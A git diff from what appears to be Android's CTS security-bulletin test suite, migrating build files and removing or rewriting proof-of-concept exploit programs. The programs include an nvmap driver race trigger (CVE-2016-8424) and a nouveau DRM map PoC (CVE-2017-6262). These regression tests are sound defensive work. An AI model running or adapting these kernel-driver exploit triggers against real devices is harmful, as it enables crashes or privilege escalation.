+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "CtsSeccompDeviceApp",
+ compile_multilib: "both",
+ defaults: ["cts_defaults"],
+ static_libs: [
+ "androidx.test.rules",
+ "compatibility-device-util-axt",
+ ],
+ jni_libs: [
+ "libctsseccomp_jni",
+ "libcts_jni",
+ "libnativehelper_compat_libc++",
+ ],
+ srcs: ["src/**/*.java"],
+ asset_dirs: ["assets"],
+ // tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ sdk_version: "test_current",
+}
diff --git a/hostsidetests/seccomp/app/Android.mk b/hostsidetests/seccomp/app/Android.mk
deleted file mode 100644
index 36dd417..0000000
--- a/hostsidetests/seccomp/app/Android.mk
+++ /dev/null
@@ -1,54 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Include both the 32 and 64 bit versions
-LOCAL_MULTILIB := both
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
- androidx.test.rules \
- compatibility-device-util-axt \
-
-LOCAL_JNI_SHARED_LIBRARIES := \
- libctsseccomp_jni \
- libcts_jni \
- libnativehelper_compat_libc++ \
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_ASSET_DIR := $(LOCAL_PATH)/assets
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsSeccompDeviceApp
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/seccomp/app/jni/Android.bp b/hostsidetests/seccomp/app/jni/Android.bp
new file mode 100644
index 0000000..3dc4f1c
--- /dev/null
+++ b/hostsidetests/seccomp/app/jni/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test_library {
+ name: "libctsseccomp_jni",
+ gtest: false,
+ srcs: [
+ "CtsSeccompJniOnLoad.cpp",
+ "android_seccomp_cts_app_SeccompDeviceTest.cpp",
+ ],
+ sdk_version: "current",
+ static_libs: ["cpufeatures"],
+ cflags: [
+ "-Wall",
+ "-Werror",
+ ],
+ shared_libs: [
+ "liblog",
+ ],
+ stl: "c++_static",
+}
diff --git a/hostsidetests/seccomp/app/jni/Android.mk b/hostsidetests/seccomp/app/jni/Android.mk
deleted file mode 100644
index 45fb135..0000000
--- a/hostsidetests/seccomp/app/jni/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libctsseccomp_jni
-
-# Don't include this package in any configuration by default.
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := \
- CtsSeccompJniOnLoad.cpp \
- android_seccomp_cts_app_SeccompDeviceTest.cpp \
-
-LOCAL_SDK_VERSION := current
-LOCAL_LDLIBS := -llog
-LOCAL_C_INCLUDES += ndk/sources/cpufeatures
-LOCAL_STATIC_LIBRARIES := cpufeatures
-
-LOCAL_CFLAGS := -Wall -Werror
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index cbb94ca..090f4c1 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -27,7 +27,6 @@
<option name="push" value="CVE-2016-6734->/data/local/tmp/CVE-2016-6734" />
<option name="push" value="CVE-2016-6735->/data/local/tmp/CVE-2016-6735" />
<option name="push" value="CVE-2016-6736->/data/local/tmp/CVE-2016-6736" />
- <option name="push" value="CVE-2016-8424->/data/local/tmp/CVE-2016-8424" />
<option name="push" value="CVE-2016-8425->/data/local/tmp/CVE-2016-8425" />
<option name="push" value="CVE-2016-8426->/data/local/tmp/CVE-2016-8426" />
<option name="push" value="CVE-2016-8427->/data/local/tmp/CVE-2016-8427" />
@@ -55,18 +54,12 @@
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
<!--__________________-->
- <!-- Bulletin 2016-06 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2016-2062->/data/local/tmp/CVE-2016-2062" />
-
- <!--__________________-->
<!-- Bulletin 2016-07 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
<option name="push" value="CVE-2016-3818->/data/local/tmp/CVE-2016-3818" />
<!-- Bulletin 2016-09 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2015-8839->/data/local/tmp/CVE-2015-8839" />
<option name="push" value="CVE-2016-2471->/data/local/tmp/CVE-2016-2471" />
<!--__________________-->
@@ -193,6 +186,6 @@
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
<option name="jar" value="CtsSecurityBulletinHostTestCases.jar" />
- <option name="runtime-hint" value="8m40s" />
+ <option name="runtime-hint" value="18m26s" />
</test>
</configuration>
diff --git a/hostsidetests/securitybulletin/res/cve_2016_3916.apk b/hostsidetests/securitybulletin/res/cve_2016_3916.apk
deleted file mode 100644
index 96c6128..0000000
--- a/hostsidetests/securitybulletin/res/cve_2016_3916.apk
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/Android.mk
deleted file mode 100755
index 65fe025..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2015-8839
-LOCAL_SRC_FILES := poc.c
-
-LOCAL_SHARED_LIBRARIES := libcutils \
- liblog
-
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/poc.c
deleted file mode 100755
index c6a330f..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/poc.c
+++ /dev/null
@@ -1,59 +0,0 @@
-/**
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <cutils/log.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <linux/falloc.h>
-#include <linux/magic.h>
-#include <stdint.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/types.h>
-#include <sys/utsname.h>
-#include <sys/vfs.h>
-#include <unistd.h>
-
-int main(void) {
- int fd = -1, result = -1;
- char tmpFile[32];
- struct statfs sfs;
-
- memset(tmpFile, 0, sizeof(tmpFile));
- strncpy(tmpFile, "/data/local/tmp/tmpFile", 24);
-
- fd = open(tmpFile, O_WRONLY | O_APPEND | O_CREAT, 0644);
- if (fd < 0) {
- ALOGE("Creation of tmp file is failed [%s]", strerror(errno));
- return -1;
- }
-
- fstatfs(fd, &sfs);
- if (sfs.f_type == EXT4_SUPER_MAGIC) {
- result = fallocate(fd, FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE, 0, 1);
- if (result < 0 && errno == EOPNOTSUPP) {
- ALOGD("fallocate result [%s] errno [%d]", strerror(errno), errno);
- ALOGE("fallocate result EOPNOTSUPP");
- }
- }
-
- if (fd) {
- close(fd);
- }
-
- return 0;
-}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8424/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8424/Android.mk
deleted file mode 100644
index 204ace1..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8424/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8424
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
-LOCAL_CFLAGS += -Wno-incompatible-pointer-types -Wno-unused-variable
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8424/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8424/poc.c
deleted file mode 100644
index 4460b88..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8424/poc.c
+++ /dev/null
@@ -1,138 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-
-#include <stdlib.h>
-#include <errno.h>
-#include <unistd.h>
-#include <stdio.h>
-#include <dirent.h>
-#include <string.h>
-#include <sys/stat.h>
-#include <sys/ioctl.h>
-#include <stdio.h>
-#include <string.h>
-#include <dlfcn.h>
-#include <sys/time.h>
-#include <sys/mman.h>
-#include <sys/syscall.h>
-#include <sys/resource.h>
-#include <fcntl.h>
-#include <pthread.h>
-#include <unistd.h>
-#include <sched.h>
-
-
-struct nvmap_handle_param {
- __u32 handle; /* nvmap handle */
- __u32 param; /* size/align/base/heap etc. */
- unsigned long result; /* returns requested info*/
-};
-
-struct nvmap_create_handle {
- union {
- __u32 id; /* FromId */
- __u32 size; /* CreateHandle */
- __s32 fd; /* DmaBufFd or FromFd */
- };
- __u32 handle; /* returns nvmap handle */
-};
-
-#define NVMAP_IOC_MAGIC 'N'
-#define NVMAP_IOC_CREATE _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)
-#define NVMAP_IOC_PARAM _IOWR(NVMAP_IOC_MAGIC, 8, struct nvmap_handle_param)
-#define NVMAP_IOC_GET_ID _IOWR(NVMAP_IOC_MAGIC, 13, struct nvmap_create_handle)
-#define NVMAP_IOC_GET_FD _IOWR(NVMAP_IOC_MAGIC, 15, struct nvmap_create_handle)
-#define NVMAP_IOC_FREE _IO(NVMAP_IOC_MAGIC, 4)
-
-int g_fd = -1;
-static pthread_cond_t cond = PTHREAD_COND_INITIALIZER;
-static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
-struct nvmap_create_handle* g_allocation = NULL;
-
-int open_driver() {
- char* dev_path = "/dev/nvmap";
- g_fd = open(dev_path, O_RDWR);
- if (g_fd < 0) {
- printf("[*] open file(%s) failed, errno=%d\n", dev_path, errno);
- } else {
- printf("[*] open file(%s) succ!\n", dev_path);
- }
- return g_fd;
-}
-
-void trigger_nvmap_create() {
- ioctl(g_fd, NVMAP_IOC_CREATE, g_allocation);
- //printf("[*] NVMAP_IOC_CREATE, fd(%d), last error = %d\n", g_allocation->handle, errno);
-}
-
-void trigger_nvmap_free() {
- static int data = 1024;
- ioctl(g_fd, NVMAP_IOC_FREE, data);
- //printf("[*] NVMAP_IOC_FREE last error = %d\n", errno);
-}
-
-void setup_privi_and_affinity(int privi, unsigned long cpu_mask) {
- setpriority(PRIO_PROCESS, gettid(), privi);
- printf("[*] setpriority(%d) errno = %d\n", privi, errno);
-
- /* bind process to a CPU*/
- if (sched_setaffinity(gettid(), sizeof(cpu_mask), &cpu_mask) < 0) {
- printf("[*] sched_setaffinity(%ld) errno = %d\n", cpu_mask, errno);
- }
-}
-
-void prepare_data() {
- void* data = calloc(1, 0x1000);
-
- g_allocation = (struct nvmap_create_handle*)data;
- g_allocation->size = 1024;
-
- mprotect(data, 0x1000, PROT_READ);
- printf("[*] mprotect, error = %d\n", errno);
-}
-static int init = 0;
-void* race_thread(void* arg) {
- setup_privi_and_affinity(0, 2);
-
- int i;
- while (1) {
- if (init == 0) {
- pthread_mutex_lock(&mutex);
- pthread_cond_wait(&cond, &mutex);
- pthread_mutex_unlock(&mutex);
- init = 1;
- }
- trigger_nvmap_free();
- }
-}
-
-int main(int argc, char**argv) {
- setup_privi_and_affinity(0, 1);
- if (open_driver() < 0) {
- return -1;
- }
- prepare_data();
- pthread_t tid;
- pthread_create(&tid, NULL, race_thread, NULL);
- sleep(1);
- while (1) {
- if (init == 0)
- pthread_cond_signal(&cond);
- trigger_nvmap_create();
- }
- return 0;
-}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/Android.mk
index 5561115..498e85f 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-LOCAL_COMPATIBILITY_SUITE := cts sts
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/Android.mk
index b4697d5..64ecb5c 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/Android.mk
@@ -10,7 +10,7 @@
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
-# limitations under the License.
+# limitations under the License
LOCAL_PATH := $(call my-dir)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/poc.c
index 1637bd6..5bdd33d 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/poc.c
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/poc.c
@@ -10,26 +10,25 @@
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions vand
+ * See the License for the specific language governing permissions and
* limitations under the License.
*/
#define _GNU_SOURCE
-#include "local_poc.h"
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
-#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
+#include "local_poc.h"
+#include "../includes/common.h"
#define DRMDEV_NAME "/dev/dri/renderD128"
+#define MAX_MAPS 10
-static int drm_version(int fd)
-{
- int ret;
+static int drm_version(int fd) {
struct drm_version ver;
ver.name_len = 100;
ver.date_len = 100;
@@ -39,17 +38,14 @@
ver.date = (char*)malloc(ver.date_len);
ver.desc = (char*)malloc(ver.desc_len);
- ret = ioctl(fd, DRM_IOCTL_VERSION, &ver);
-
- if (ret == -1) {
- return -1;
+ if (ioctl(fd, DRM_IOCTL_VERSION, &ver) < 0) {
+ close(fd);
+ exit(EXIT_FAILURE);
}
return 0;
}
-static int nouveau_gem_ioctl_new(int fd)
-{
- int ret;
+static uint32_t nouveau_gem_ioctl_new(int fd) {
struct drm_nouveau_gem_new new_arg;
memset(&new_arg, 0, sizeof(new_arg));
@@ -57,66 +53,43 @@
new_arg.info.size = 0x1000;
new_arg.info.domain = NOUVEAU_GEM_DOMAIN_GART;
- ret = ioctl(fd, DRM_IOCTL_NOUVEAU_GEM_NEW, &new_arg);
- if (ret == -1) {
- return -1;
+ if (ioctl(fd, DRM_IOCTL_NOUVEAU_GEM_NEW, &new_arg) < 0) {
+ close(fd);
+ exit(EXIT_FAILURE);
}
-
return new_arg.info.handle;
}
-static uint32_t get_gem_map_handle(int fd)
-{
- uint32_t handle;
-
- handle = nouveau_gem_ioctl_new(fd);
-
- return handle;
-}
-
-static void nouveau_gem_ioctl_map(int fd, uint32_t handle)
-{
- int ret;
+static void nouveau_gem_ioctl_map(int fd, uint32_t handle) {
struct drm_nouveau_gem_map map_arg;
memset(&map_arg, 0, sizeof(map_arg));
map_arg.handle = handle;
map_arg.length = 0x1000;
- ret = ioctl(fd, DRM_IOCTL_NOUVEAU_GEM_MAP, &map_arg);
- if (ret == -1) {
- return;
+ if (ioctl(fd, DRM_IOCTL_NOUVEAU_GEM_MAP, &map_arg) < 0) {
+ close(fd);
+ exit(EXIT_FAILURE);
}
}
-void poc()
-{
+int main() {
int fd;
- const int MAX_MAPS = 10;
+ time_t test_started = start_timer();
- fd = open(DRMDEV_NAME, O_RDWR);
- if (fd == -1) {
- return;
+ while (timer_active(test_started)) {
+ fd = open(DRMDEV_NAME, O_RDWR);
+ if (fd < 0) {
+ return -1;
+ }
+
+ drm_version(fd);
+
+ uint32_t handle = nouveau_gem_ioctl_new(fd);
+
+ for (int i = 0; i < MAX_MAPS; i++) {
+ nouveau_gem_ioctl_map(fd, handle);
+ }
+ close(fd);
}
-
- if (drm_version(fd) == -1){
- return;
- }
-
- uint32_t handle = get_gem_map_handle(fd);
-
- for(int i = 0; i < MAX_MAPS; i++){
- nouveau_gem_ioctl_map(fd, handle);
- }
- close(fd);
-
- return;
-}
-
-int main()
-{
- const int MAX_RUNS = 30000;
-
- for(int i = 0; i < MAX_RUNS; i++) {
- poc();
- }
+ return 0;
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/Android.mk
index 4a4301f..a6a520f 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/Android.mk
@@ -25,7 +25,7 @@
libpac \
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts sts
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
index c1f998d..b9f3b2b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
@@ -32,8 +32,6 @@
import static org.junit.Assert.*;
-import static org.junit.Assert.*;
-
public class AdbUtils {
/** Runs a commandline on the specified device
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
index 4527c0c..9a7e62a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
@@ -28,7 +28,7 @@
AdbUtils.runCommandLine("logcat -c" , getDevice());
AdbUtils.runPoc("CVE-2016-2419", getDevice(), 60);
String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
- assertNotMatches("[\\s\\n\\S]*IOMX_InfoLeak b26323455[\\s\\n\\S]*", logcat);
+ assertNotMatchesMultiLine("IOMX_InfoLeak b26323455", logcat);
}
/**
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java
index 886ebaf..d866a5a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java
@@ -29,7 +29,7 @@
AdbUtils.runPoc("CVE-2016-2460", getDevice(), 60);
String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
- assertNotMatches("[\\s\\n\\S]*IGraphicBufferProducer_Info is Leaked[\\s\\n\\S]*", logcat);
+ assertNotMatchesMultiLine("IGraphicBufferProducer_Info is Leaked", logcat);
}
/**
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
index e11c523..1e33083 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
@@ -28,13 +28,14 @@
}
/**
- * b/27532522
+ * b/27890802
*/
@SecurityTest(minPatchLevel = "2016-07")
- public void testPocCVE_2016_3809() throws Exception {
- AdbUtils.runCommandLine("logcat -c", getDevice());
- AdbUtils.runPoc("CVE-2016-3809", getDevice(), 60);
+ public void testPocCVE_2016_3746() throws Exception {
+ AdbUtils.runCommandLine("logcat -c" , getDevice());
+ AdbUtils.runPoc("CVE-2016-3746", getDevice(), 60);
String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
- assertNotMatches("[\\s\\n\\S]*CVE-2016-3809 test case failed[\\s\\n\\S]*", logcat);
+ assertNotMatchesMultiLine("Fatal signal[\\s\\S]*>>> /system/bin/mediaserver <<<",
+ logcat);
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java
index 9ae9d99..3280a68 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java
@@ -26,15 +26,4 @@
public void testPocCVE_2016_2471() throws Exception {
AdbUtils.runPoc("CVE-2016-2471", getDevice(), 60);
}
-
- /**
- * b/28760453
- */
- @SecurityTest(minPatchLevel = "2016-09")
- public void testPocCVE_2015_8839() throws Exception {
- AdbUtils.runCommandLine("logcat -c" , getDevice());
- AdbUtils.runPoc("CVE-2015-8839", getDevice(), 60);
- String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
- assertMatches("[\\s\\n\\S]*fallocate result EOPNOTSUPP[\\s\\n\\S]*", logcat);
- }
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
deleted file mode 100644
index 4999e55..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
+++ /dev/null
@@ -1,113 +0,0 @@
-/**
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-
-@SecurityTest
-public class Poc16_10 extends SecurityTestCase {
-
- /**
- * b/30904789
- */
- @SecurityTest
- public void testPocCVE_2016_6730() throws Exception {
- if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
- AdbUtils.runPoc("CVE-2016-6730", getDevice(), 60);
- }
- }
-
- /**
- * b/30906023
- */
- @SecurityTest
- public void testPocCVE_2016_6731() throws Exception {
- if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
- AdbUtils.runPoc("CVE-2016-6731", getDevice(), 60);
- }
- }
-
- /**
- * b/30906599
- */
- @SecurityTest
- public void testPocCVE_2016_6732() throws Exception {
- if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
- AdbUtils.runPoc("CVE-2016-6732", getDevice(), 60);
- }
- }
-
- /**
- * b/30906694
- */
- @SecurityTest
- public void testPocCVE_2016_6733() throws Exception {
- if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
- AdbUtils.runPoc("CVE-2016-6733", getDevice(), 60);
- }
- }
-
- /**
- * b/30907120
- */
- @SecurityTest
- public void testPocCVE_2016_6734() throws Exception {
- if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
- AdbUtils.runPoc("CVE-2016-6734", getDevice(), 60);
- }
- }
-
- /**
- * b/30907701
- */
- @SecurityTest
- public void testPocCVE_2016_6735() throws Exception {
- if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
- AdbUtils.runPoc("CVE-2016-6735", getDevice(), 60);
- }
- }
-
- /**
- * b/30953284
- */
- @SecurityTest
- public void testPocCVE_2016_6736() throws Exception {
- if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
- AdbUtils.runPoc("CVE-2016-6736", getDevice(), 60);
- }
- }
-
- /**
- * b/30741779
- */
- @SecurityTest(minPatchLevel = "2016-10")
- public void testPocCVE_2016_3916() throws Exception {
- AdbUtils.installApk("/cve_2016_3916.apk", getDevice());
- AdbUtils.runCommandLine("logcat -c" , getDevice());
-
- AdbUtils.runCommandLine("am start -n com.trendmicro.wish_wu.camera2/" +
- "com.trendmicro.wish_wu.camera2.Camera2TestActivity", getDevice());
- Thread.sleep(10000);
- String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
- assertNotMatches("[\\s\\n\\S]*Fatal signal 11 \\(SIGSEGV\\)" +
- "[\\s\\n\\S]*>>> /system/bin/" +
- "mediaserver <<<[\\s\\n\\S]*", logcat);
-
- //make sure the app is uninstalled after the test
- AdbUtils.runCommandLine("pm uninstall com.trendmicro.wish_wu.camera2" , getDevice());
- }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
index d1c42da..bb18b0d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
@@ -13,6 +13,7 @@
